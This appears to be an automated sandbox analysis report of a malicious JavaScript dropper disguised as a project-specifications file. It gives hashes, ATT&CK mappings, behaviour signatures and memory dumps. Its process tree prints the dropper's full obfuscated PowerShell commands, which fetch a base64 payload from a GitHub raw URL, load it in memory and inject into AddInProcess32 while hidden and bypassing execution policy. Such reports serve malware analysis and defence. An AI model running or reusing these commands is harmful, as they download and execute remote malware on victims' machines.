98816956b52fb0382d43e86a5087a5c908c3e33750c4031ec14389230f125b3d

General

Target

PROJECT DETAILS AND SPECIFICATIONS.js
Size

197KB
MD5

ef818b0f3b065744f9ca0e7e6463fa5a
SHA1

042ab0111d9be103d7558da8d5aacb86f7c91d22
SHA256

f599b75aff511ee47cf3e7ea69ff58ef8025f15340add9b7c01bc7baaaaf9503
SHA512

6d48fcd76d1db0fdb208c324139cdcca6e154508cfb783cd09dd51766f20177877ddeb1782180ac14631b5a7a373b1aa85ff512665369118178edb7a19c6f735
SSDEEP

6144:gzMNJy9Ha4Lp17+n4O9/8bTwNN4mEqtm4I3W4J:JNo93Lp17U4O9/8bTw/43qtm4eW4J

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2140	powershell.exe
6	2140	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1828	powershell.exe
2140	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1828	powershell.exe
2140	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 1828	2540	wscript.exe	30
PID 2540 wrote to memory of 1828	2540	wscript.exe	30
PID 2540 wrote to memory of 1828	2540	wscript.exe	30
PID 1828 wrote to memory of 2140	1828	powershell.exe	32
PID 1828 wrote to memory of 2140	1828	powershell.exe	32
PID 1828 wrote to memory of 2140	1828	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\PROJECT DETAILS AND SPECIFICATIONS.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAWAAnACsAJwBuAHQAdQByAGwAIAA9ACcAKwAnACAAJwArACcAMwAnACsAJwA5AG0AJwArACcAaAB0AHQAcABzADoALwAvAHIAJwArACcAYQB3ACcAKwAnAC4AJwArACcAZwBpAHQAaAB1AGIAJwArACcAdQBzACcAKwAnAGUAcgAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0AC4AYwBvAG0AJwArACcALwAnACsAJwBOACcAKwAnAG8ARABlAHQAZQBjACcAKwAnAHQAJwArACcATwBuAC8ATgBvAEQAZQAnACsAJwB0AGUAJwArACcAYwB0AE8AbgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtACcAKwAnAGEAaQBuAC8AJwArACcARABlAHQAJwArACcAYQBoAE4AJwArACcAbwB0ACcAKwAnAGUAXwBKAC4AdAB4ACcAKwAnAHQAJwArACcAMwA5AG0AOwAgACcAKwAnAFgAbgB0AGIAJwArACcAYQBzAGUANgA0AEMAbwBuAHQAZQBuAHQAIAA9ACAAKABOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAAnACsAJwBlAG0ALgBOAGUAJwArACcAdAAuACcAKwAnAFcAZQAnACsAJwBiAEMAJwArACcAbABpACcAKwAnAGUAbgB0ACkALgAnACsAJwBEAG8AdwAnACsAJwBuACcAKwAnAGwAbwBhAGQAUwAnACsAJwB0AHIAaQAnACsAJwBuAGcAJwArACcAKABYACcAKwAnAG4AdAB1AHIAJwArACcAbAApADsAIABYAG4AdAAnACsAJwBiAGkAbgBhAHIAeQAnACsAJwBDAG8AbgB0AGUAbgB0ACAAPQAnACsAJwAgAFsAUwB5AHMAdABlAG0AJwArACcALgBDAG8AbgAnACsAJwB2AGUAcgB0AF0AOgA6AEYAcgBvACcAKwAnAG0AQgBhAHMAJwArACcAZQA2ADQAUwB0AHIAaQBuAGcAJwArACcAKABYAG4AdAAnACsAJwBiAGEAJwArACcAcwAnACsAJwBlADYANAAnACsAJwBDAG8AJwArACcAbgAnACsAJwB0AGUAbgB0ACkAOwAgAFgAJwArACcAbgAnACsAJwB0ACcAKwAnAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgACcAKwAnAD0AIABbACcAKwAnAFIAZQBmACcAKwAnAGwAZQAnACsAJwBjAHQAJwArACcAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAJwBBAHMAcwBlAG0AYgBsAHkAXQA6ACcAKwAnADoATABvAGEAJwArACcAZAAnACsAJwAoACcAKwAnAFgAbgAnACsAJwB0AGIAJwArACcAaQAnACsAJwBuAGEAJwArACcAcgB5ACcAKwAnAEMAbwBuAHQAZQBuAHQAKQA7ACAAWwAnACsAJwBkACcAKwAnAG4AbABpAGIAJwArACcALgBJAE8ALgAnACsAJwBIAG8AbQBlAF0AOgA6AFYAJwArACcAQQBJACcAKwAnACgAYQAnACsAJwBuADEAdAB4AHQAJwArACcALgAnACsAJwBzAGEAYgBiAGEALwB2ACcAKwAnAGUAZAAuADIAcgAuADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ACcAKwAnADUAYgAxAGIAYwAwAGQANAA1AGIANgAzADIAJwArACcAZQAnACsAJwBiADkAJwArACcAZQBlADYAMgAtAGIAdQBwAC8ALwA6AHMAJwArACcAcAB0AHQAJwArACcAaABhAG4AJwArACcAMQAsACAAJwArACcAYQAnACsAJwBuADEAZABlAHMAYQB0AGkAdgAnACsAJwBhAGQAbwAnACsAJwBhAG4AMQAsACcAKwAnACAAYQBuADEAZAAnACsAJwBlACcAKwAnAHMAYQAnACsAJwB0AGkAdgBhAGQAbwAnACsAJwBhAG4AJwArACcAMQAsACAAYQBuACcAKwAnADEAZABlAHMAYQB0AGkAdgBhAGQAbwBhAG4AMQAsACAAYQBuADEAQQBkAGQASQAnACsAJwBuAFAAcgBvAGMAZQBzACcAKwAnAHMAMwAyAGEAbgAxACwAIAAnACsAJwBhACcAKwAnAG4AMQBkAGUAcwBhACcAKwAnAHQAaQAnACsAJwB2ACcAKwAnAGEAZAAnACsAJwBvAGEAbgAnACsAJwAxACwAYQBuADEAYQBuADEAKQAnACkAIAAgAC0AYwByAGUAcABsAGEAQwBFACcAYQBuADEAJwAsAFsAYwBoAGEAUgBdADMANAAgAC0AUgBFAHAATABBAEMAZQAoAFsAYwBoAGEAUgBdADUAMQArAFsAYwBoAGEAUgBdADUANwArAFsAYwBoAGEAUgBdADEAMAA5ACkALABbAGMAaABhAFIAXQAzADkALQBjAHIAZQBwAGwAYQBDAEUAIAAgACcAWABuAHQAJwAsAFsAYwBoAGEAUgBdADMANgApAHwASQBuAFYAbwBLAEUALQBlAHgAcABSAEUAcwBTAEkAbwBOAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('X'+'nturl ='+' '+'3'+'9m'+'https://r'+'aw'+'.'+'github'+'us'+'er'+'cont'+'ent.com'+'/'+'N'+'oDetec'+'t'+'On/NoDe'+'te'+'ctOn/refs/heads/m'+'ain/'+'Det'+'ahN'+'ot'+'e_J.tx'+'t'+'39m; '+'Xntb'+'ase64Content = (New'+'-Object Syst'+'em.Ne'+'t.'+'We'+'bC'+'li'+'ent).'+'Dow'+'n'+'loadS'+'tri'+'ng'+'(X'+'ntur'+'l); Xnt'+'binary'+'Content ='+' [System'+'.Con'+'vert]::Fro'+'mBas'+'e64String'+'(Xnt'+'ba'+'s'+'e64'+'Co'+'n'+'tent); X'+'n'+'t'+'as'+'sembly '+'= ['+'Ref'+'le'+'ct'+'i'+'o'+'n'+'.'+'Assembly]:'+':Loa'+'d'+'('+'Xn'+'tb'+'i'+'na'+'ry'+'Content); ['+'d'+'nlib'+'.IO.'+'Home]::V'+'AI'+'(a'+'n1txt'+'.'+'sabba/v'+'ed.2r.39b345302a07'+'5b1bc0d45b632'+'e'+'b9'+'ee62-bup//:s'+'ptt'+'han'+'1, '+'a'+'n1desativ'+'ado'+'an1,'+' an1d'+'e'+'sa'+'tivado'+'an'+'1, an'+'1desativadoan1, an1AddI'+'nProces'+'s32an1, '+'a'+'n1desa'+'ti'+'v'+'ad'+'oan'+'1,an1an1)') -creplaCE'an1',[chaR]34 -REpLACe([chaR]51+[chaR]57+[chaR]109),[chaR]39-creplaCE 'Xnt',[chaR]36)|InVoKE-expREsSIoN"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a0aac99c9afffff60d2fd89eae076435

SHA1
252b0495b521d8f90ee07229246d85abca5f328e

SHA256
577891673b19f5f6ebfc6022dc41e9afce55a247794ec19a8b9056e22531e6ca

SHA512
9e11a2e9269aff8e4c3a1df23c534862041200c75fa830173948bd49758db2f79afde9ee9db1463e1228cd9a8444aa278d5381ebfd147eec3a63998e3694b18d

Download Submit
memory/1828-4-0x000007FEF542E000-0x000007FEF542F000-memory.dmp

Filesize
4KB

Download
memory/1828-5-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/1828-7-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1828-6-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/1828-8-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1828-9-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1828-10-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1828-16-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1828-17-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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